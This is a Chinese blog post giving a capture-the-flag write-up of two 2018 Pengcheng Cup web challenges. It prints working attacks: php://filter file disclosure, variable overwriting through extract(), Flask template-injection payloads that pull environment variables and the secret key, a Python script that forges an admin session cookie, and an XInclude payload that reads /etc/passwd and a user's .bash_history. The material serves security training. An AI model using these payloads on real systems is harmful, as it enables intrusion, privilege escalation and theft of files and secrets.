美文网首页
“鹏城杯”2018部分web wp

“鹏城杯”2018部分web wp

作者: Shad0w_zz | 来源:发表于2018-12-02 22:33 被阅读0次

myblog

十足的脑洞题!=-=
访问index.php响应头中发现提示信息:?flag

图片.png
php://filter实现文件读取
php://filter/convert.base64-encode/resource=index获得index.php源码。
<?php 
    header('flag: JTNGZmxhZw==');
    if(isset($_GET["flag"])){
        $flag = $_GET["flag"];
        include $flag.".php";
    }
?>

rbl=-=
题目一直给的提示也是云里雾里
about,base64编码-->YWJvdXQ=
访问http://58.20.46.150:26293/YWJvdXQ=.php 200!!!
读源码:

<?php

    $filename = 'flag.txt';
    $flag = 'flag.txt';
    extract($_GET);
    
    if(isset($sign)){
        $file = trim(file_get_contents($filename));
        if($sign === $file){
            echo 'Congratulation!<br>';
            echo file_get_contents($$falg);
        }
        else{
            echo 'don`t give up';
        }
    }
    
?>

变量覆盖,获取flag


图片.png

shadow

  • 提示信息:flask,/upload
    访问upload提示需要admin登录
    尝试flask ssti


    图片.png

    思路目前已经比较明确了
    利用ssti读取secretkey伪造session,让自身变为admin访问/upload

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG']
## 作者给的; <type 'dict_keys'> 里本身就有 OS

[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
  • 当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。
    比如:current_app
    __globals__['current_app'].config['FLAG']
    top.app.config['FLAG']

如何绕过waf ? url_for 调取 current_app
首先,介绍一个很牛逼的函数,叫做url_for,可以参考flask的官方文档 flask.url_for
在它引用的内容中,有着 current_app 的全局变量

如何绕过waf ? get_flashed_messages 调取 current_app
除此之外,还有函数包含了 current_app ,叫做 get_flashed_messages ,同样,可以参考官方文档 flask.get_flashed_messages

因此本题通过访问
http://58.20.46.150:25524/{{url_for.__globals__['current_app'].config}}
成功获取secretkey:as/*d21as-+dhasod5a4s54:><*()dfdsf

  • 之后我们就可以开始伪造session
    参考文章:https://s0cket7.com/picoctf-web/
    注册一个账号并登陆
    将session 解码之后:
    {u'csrf_token': '0c571097c78ee172ee45dc8040bfc51a8097bb5f', u'user_id': u'174', u'name': u'shy', u'_fresh': True, u'is_admin': False, u'_id': '03ecc0c802a927210d305104e208baf9d9ca3e66c0e8a30ac70d0acf8a8e8be3cba606a3589426385324a67ad8824715cfc97260e3be80e11d894a01fb92d498'}
    目的是伪造成admin,因此重构session如下:
    {u'csrf_token': '0c571097c78ee172ee45dc8040bfc51a8097bb5f', u'user_id': u'174', u'name': u'admin', u'_fresh': True, u'is_admin': u'True', u'_id': '03ecc0c802a927210d305104e208baf9d9ca3e66c0e8a30ac70d0acf8a8e8be3cba606a3589426385324a67ad8824715cfc97260e3be80e11d894a01fb92d498'}
    重新编码之后为:
    .eJxFkEGLwjAUhP_K8s49NLWyIHiwpCsVXoKQVZJL0VqbNokLrZI14n_frHvY0_CGeR_MPKA-j-2kYXEdb20CdX-CxQPejrAApMzKDL0MnUdXznFo7igKg2FFUKxSJSrP1xutBmv4nmnMPjPm0CuhNYZCy9B4RaNmMpdC25i1mLFeCumZKwMT3ZzRKsPQEQxVGv2Z3G9zTquUhZLITA1cNHc2FPFvYzmNKj4MpyZmV9_KVXN025SLbgnPBJppPNfXL9Ne_iuskUSU5-I0sKCtEuUM3c4yujO_tRgteuWQ4L7MkZqZdBVR3fKF66f6cHJ9hIGI20ACl4Nr4_XnJnCb2vG1F5D3HJ4_ROJrEQ.XANE-Q.9uWmYKvMMY_5eYLIeKbhSicbLRk
    替换cookie,访问/upload成功

脚本如下:

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
import sys

class CookieSessionInterface(SecureCookieSessionInterface):
  def __init__(self, secret_key):
    self.secret_key = secret_key
    if not secret_key:
      return None
    signer_kwargs = dict(
      key_derivation=self.key_derivation,
      digest_method=self.digest_method
    )
    self.sign_serializer = URLSafeTimedSerializer(secret_key, salt=self.salt,
                                  serializer=self.serializer,
                                  signer_kwargs=signer_kwargs)

  def decode(self, cookie):
    return self.sign_serializer.loads(cookie)

  def encode(self, cookie):
    return self.sign_serializer.dumps(cookie)

if __name__=='__main__':
    secret = 'as/*d21as-+dhasod5a4s54:><*()dfdsf'
    cookie = sys.argv[1]

    csi = CookieSessionInterface(secret)

    decoded_cookie = csi.decode(cookie)
    print "* ORIGINAL COOKIE:", decoded_cookie

    decoded_cookie['is_admin'] = u"True"
    decoded_cookie['name'] = u"admin"
    print "* MODIFIED COOKIE", decoded_cookie

    new_cookie = csi.encode(decoded_cookie)
    print "+ MODIFIED SECRET ENCODED COOKIE:", new_cookie
  • /upload为一个上传页面,随意上传文件500=-=
    迷......
    然后发现


    图片.png
  • 尝试xxe,测试发现禁用了<!ENTITY<!DOCTYPE
    图片.png
    搜索了一波xxe payload,测试发现可以用xinclude
    payload:
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
 <xi:include href="file:///etc/passwd" parse="text"/>
</root>
图片.png

不能列目录,有点懵~
发现其中有一个rq用户比较可疑
尝试读取/home/rq/.bash_history


图片.png

读取flag


图片.png

相关文章

  • “鹏城杯”2018部分web wp

    myblog 十足的脑洞题!=-=访问index.php响应头中发现提示信息:?flag图片.pngphp://f...

  • [鹏城杯线上] web部分writeup

    [鹏城杯] web部分writeup 这次鹏城杯是真的对web不友好。 shadow 这题出的还是挺好的58.20...

  • 2018上海杯部分WP

    title: 2018上海杯WPdate: 2018-11-05 20:17:30tags: [WP] WEB-1...

  • suctf-部分web题WP

    title: suctf-部分web题WPdate: 2018-11-14 09:57:29tags: [WP,c...

  • CSAW web部分wp

    0x01 Ldab Ldab????难道就是我前几天noxctf著名的Ldap注入 好了,参照noxctf的...

  • 红帽杯部分Wp

    Crypto rsa systemwriteup 拿到代码,粗略一看,嗯首先有个len为38的flag,另这个fl...

  • 强网杯部分wp

    MISC-welcome 记事本打开发现文件头BM,改后缀bmp 扔stegsolve,analyse->ster...

  • HCTF2017 部分web wp

    SQL Silencer SQL盲注,用自己渣渣的脚本fuzzing了一波,过滤了很多东西:* 空格 limi...

  • 2018鹏城杯writeup

    Welcome 公众号签到flag{ausjnhjajfjakjw45} easy_crypto 这道题iv直接给...

  • 2019湖湘杯部分WP

    0x01 untar 直接访问题目可以看到源码 但是直接传马发现不解析,于是搜索了一下,发现 CVE-2018-1...

网友评论

      本文标题:“鹏城杯”2018部分web wp

      本文链接:https://www.haomeiwen.com/subject/eatjcqtx.html